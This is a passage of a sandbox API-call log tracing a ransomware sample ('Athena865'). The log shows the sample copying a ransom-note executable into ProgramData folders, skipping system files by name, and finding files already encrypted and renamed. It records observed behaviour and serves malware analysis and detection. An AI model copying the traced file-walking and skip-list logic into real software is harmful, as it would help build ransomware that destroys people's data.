"c:\\documents and settings\\all users\\application data\\application data\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.823] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2=".") returned 1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2="..") returned 1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2="windows") returned -1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2="bootmgr") returned 1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2="temp") returned -1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2="pagefile.sys") returned -1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2="boot") returned 1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2="ids.txt") returned 1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2="ntuser.dat") returned 1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2="perflogs") returned -1 [0102.823] lstrcmpiW (lpString1="Package Cache", lpString2="MSBuild") returned 1 [0102.823] lstrlenW (lpString="Package Cache") returned 13 [0102.823] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Package Cache" | out: lpString1="Package Cache") returned="Package Cache" [0102.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5462b0 [0102.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa8) returned 0x512fb8 [0102.823] lstrcatW (in: lpString1="Package Cache", lpString2="\\" | out: lpString1="Package Cache\\") returned="Package Cache\\" [0102.823] lstrcatW (in: lpString1="Package Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Package Cache\\HOW TO BACK YOUR FILES.exe") returned="Package Cache\\HOW TO BACK YOUR FILES.exe" [0102.823] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.824] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2=".") returned 1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2="..") returned 1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2="windows") returned -1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2="bootmgr") returned 1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2="temp") returned -1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2="pagefile.sys") returned 1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2="boot") returned 1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2="ids.txt") returned 1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2="ntuser.dat") returned 1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2="perflogs") returned 1 [0102.824] lstrcmpiW (lpString1="Start Menu", lpString2="MSBuild") returned 1 [0102.824] lstrlenW (lpString="Start Menu") returned 10 [0102.824] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0102.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5462c8 [0102.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa2) returned 0x513068 [0102.825] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0102.825] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0102.825] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.825] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0102.825] lstrcmpiW (lpString1="Sun", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.825] lstrcmpiW (lpString1="Sun", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.825] lstrcmpiW (lpString1="Sun", lpString2=".") returned 1 [0102.825] lstrcmpiW (lpString1="Sun", lpString2="..") returned 1 [0102.825] lstrcmpiW (lpString1="Sun", lpString2="windows") returned -1 [0102.825] lstrcmpiW (lpString1="Sun", lpString2="bootmgr") returned 1 [0102.825] lstrcmpiW (lpString1="Sun", lpString2="temp") returned -1 [0102.825] lstrcmpiW (lpString1="Sun", lpString2="pagefile.sys") returned 1 [0102.825] lstrcmpiW (lpString1="Sun", lpString2="boot") returned 1 [0102.825] lstrcmpiW (lpString1="Sun", lpString2="ids.txt") returned 1 [0102.825] lstrcmpiW (lpString1="Sun", lpString2="ntuser.dat") returned 1 [0102.826] lstrcmpiW (lpString1="Sun", lpString2="perflogs") returned 1 [0102.826] lstrcmpiW (lpString1="Sun", lpString2="MSBuild") returned 1 [0102.826] lstrlenW (lpString="Sun") returned 3 [0102.826] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Sun" | out: lpString1="Sun") returned="Sun" [0102.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5462e0 [0102.826] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x94) returned 0x53da40 [0102.826] lstrcatW (in: lpString1="Sun", lpString2="\\" | out: lpString1="Sun\\") returned="Sun\\" [0102.826] lstrcatW (in: lpString1="Sun\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sun\\HOW TO BACK YOUR FILES.exe") returned="Sun\\HOW TO BACK YOUR FILES.exe" [0102.826] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.826] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0102.826] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.826] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.826] lstrcmpiW (lpString1="Templates", lpString2=".") returned 1 [0102.826] lstrcmpiW (lpString1="Templates", lpString2="..") returned 1 [0102.826] lstrcmpiW (lpString1="Templates", lpString2="windows") returned -1 [0102.827] lstrcmpiW (lpString1="Templates", lpString2="bootmgr") returned 1 [0102.827] lstrcmpiW (lpString1="Templates", lpString2="temp") returned 1 [0102.827] lstrcmpiW (lpString1="Templates", lpString2="pagefile.sys") returned 1 [0102.827] lstrcmpiW (lpString1="Templates", lpString2="boot") returned 1 [0102.827] lstrcmpiW (lpString1="Templates", lpString2="ids.txt") returned 1 [0102.827] lstrcmpiW (lpString1="Templates", lpString2="ntuser.dat") returned 1 [0102.827] lstrcmpiW (lpString1="Templates", lpString2="perflogs") returned 1 [0102.827] lstrcmpiW (lpString1="Templates", lpString2="MSBuild") returned 1 [0102.827] lstrlenW (lpString="Templates") returned 9 [0102.827] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0102.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5462f8 [0102.827] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x5236b0 [0102.827] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0102.827] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0102.827] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.828] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0102.828] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.828] ReleaseMutex (hMutex=0xec) returned 1 [0102.828] CloseHandle (hObject=0xec) returned 1 [0102.828] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Desktop" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Desktop") returned="C:\\Documents and Settings\\All Users\\Application Data\\Desktop" [0102.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0102.828] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c590 | out: hHeap=0x4f0000) returned 1 [0102.828] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Desktop") returned 60 [0102.828] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\93B0F4016E64D4DDE23AB7D7E3F8EB3D") returned 0xec [0102.828] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0102.828] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Desktop" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Desktop") returned="C:\\Documents and Settings\\All Users\\Application Data\\Desktop" [0102.828] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0102.828] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.829] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\desktop\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.829] GetLastError () returned 0x0 [0102.829] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.829] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.829] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.830] CloseHandle (hObject=0xf4) returned 1 [0102.830] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.830] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.830] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Desktop\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc472b880, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc472b880, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.830] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.830] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.830] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.830] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc472b880, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc472b880, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.830] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.830] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.830] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.830] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.830] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c279c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c279c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c4db20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0xaf0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Reader X.lnk.Athena865", cAlternateFileName="ADOBER~1.ATH")) returned 1 [0102.830] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.830] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.830] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2=".") returned 1 [0102.830] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="..") returned 1 [0102.830] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="windows") returned -1 [0102.831] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="bootmgr") returned -1 [0102.831] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="temp") returned -1 [0102.831] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="pagefile.sys") returned -1 [0102.831] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="boot") returned -1 [0102.831] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="ids.txt") returned -1 [0102.831] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="ntuser.dat") returned -1 [0102.831] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="perflogs") returned -1 [0102.831] lstrcmpiW (lpString1="Adobe Reader X.lnk.Athena865", lpString2="MSBuild") returned -1 [0102.831] lstrlenW (lpString="Adobe Reader X.lnk.Athena865") returned 28 [0102.831] lstrcpyW (in: lpString1=0x241e8c2, lpString2="Adobe Reader X.lnk.Athena865" | out: lpString1="Adobe Reader X.lnk.Athena865") returned="Adobe Reader X.lnk.Athena865" [0102.831] lstrlenW (lpString="Adobe Reader X.lnk.Athena865") returned 28 [0102.831] lstrlenW (lpString="Athena865") returned 9 [0102.831] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.831] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2826d6cd, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2826d6cd, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28860dd8, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini.Athena865", cAlternateFileName="")) returned 1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2=".") returned 1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="..") returned 1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="windows") returned -1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="bootmgr") returned 1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="temp") returned -1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="pagefile.sys") returned -1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="boot") returned 1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ids.txt") returned -1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="ntuser.dat") returned -1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="perflogs") returned -1 [0102.831] lstrcmpiW (lpString1="desktop.ini.Athena865", lpString2="MSBuild") returned -1 [0102.831] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0102.831] lstrcpyW (in: lpString1=0x241e8c2, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0102.831] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0102.831] lstrlenW (lpString="Athena865") returned 9 [0102.832] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.832] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df21ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df21ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df21ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google Chrome.lnk.Athena865", cAlternateFileName="GOOGLE~1.ATH")) returned 1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2=".") returned 1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="..") returned 1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="windows") returned -1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="bootmgr") returned 1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="temp") returned -1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="pagefile.sys") returned -1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="boot") returned 1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="ids.txt") returned -1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="ntuser.dat") returned -1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="perflogs") returned -1 [0102.832] lstrcmpiW (lpString1="Google Chrome.lnk.Athena865", lpString2="MSBuild") returned -1 [0102.832] lstrlenW (lpString="Google Chrome.lnk.Athena865") returned 27 [0102.832] lstrcpyW (in: lpString1=0x241e8c2, lpString2="Google Chrome.lnk.Athena865" | out: lpString1="Google Chrome.lnk.Athena865") returned="Google Chrome.lnk.Athena865" [0102.832] lstrlenW (lpString="Google Chrome.lnk.Athena865") returned 27 [0102.832] lstrlenW (lpString="Athena865") returned 9 [0102.832] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.832] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5e2da0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.832] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.832] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk.Athena865", cAlternateFileName="MOZILL~1.ATH")) returned 1 [0102.832] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.832] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.832] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2=".") returned 1 [0102.832] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="..") returned 1 [0102.832] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="windows") returned -1 [0102.832] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="bootmgr") returned 1 [0102.832] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="temp") returned -1 [0102.833] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="pagefile.sys") returned -1 [0102.833] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="boot") returned 1 [0102.833] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="ids.txt") returned 1 [0102.833] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="ntuser.dat") returned -1 [0102.833] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="perflogs") returned -1 [0102.833] lstrcmpiW (lpString1="Mozilla Firefox.lnk.Athena865", lpString2="MSBuild") returned -1 [0102.833] lstrlenW (lpString="Mozilla Firefox.lnk.Athena865") returned 29 [0102.833] lstrcpyW (in: lpString1=0x241e8c2, lpString2="Mozilla Firefox.lnk.Athena865" | out: lpString1="Mozilla Firefox.lnk.Athena865") returned="Mozilla Firefox.lnk.Athena865" [0102.833] lstrlenW (lpString="Mozilla Firefox.lnk.Athena865") returned 29 [0102.833] lstrlenW (lpString="Athena865") returned 9 [0102.833] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0102.833] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla Firefox.lnk.Athena865", cAlternateFileName="MOZILL~1.ATH")) returned 0 [0102.833] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0102.833] ReleaseMutex (hMutex=0xec) returned 1 [0102.833] CloseHandle (hObject=0xec) returned 1 [0102.833] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users\\Application Data\\Documents" | out: lpString1="C:\\Documents and Settings\\All Users\\Application Data\\Documents") returned="C:\\Documents and Settings\\All Users\\Application Data\\Documents" [0102.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519448 | out: hHeap=0x4f0000) returned 1 [0102.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c578 | out: hHeap=0x4f0000) returned 1 [0102.833] lstrlenW (lpString="C:\\Documents and Settings\\All Users\\Application Data\\Documents") returned 62 [0102.833] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\70989849B0AA75E1FB4FE616C80E15ED") returned 0xec [0102.833] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) 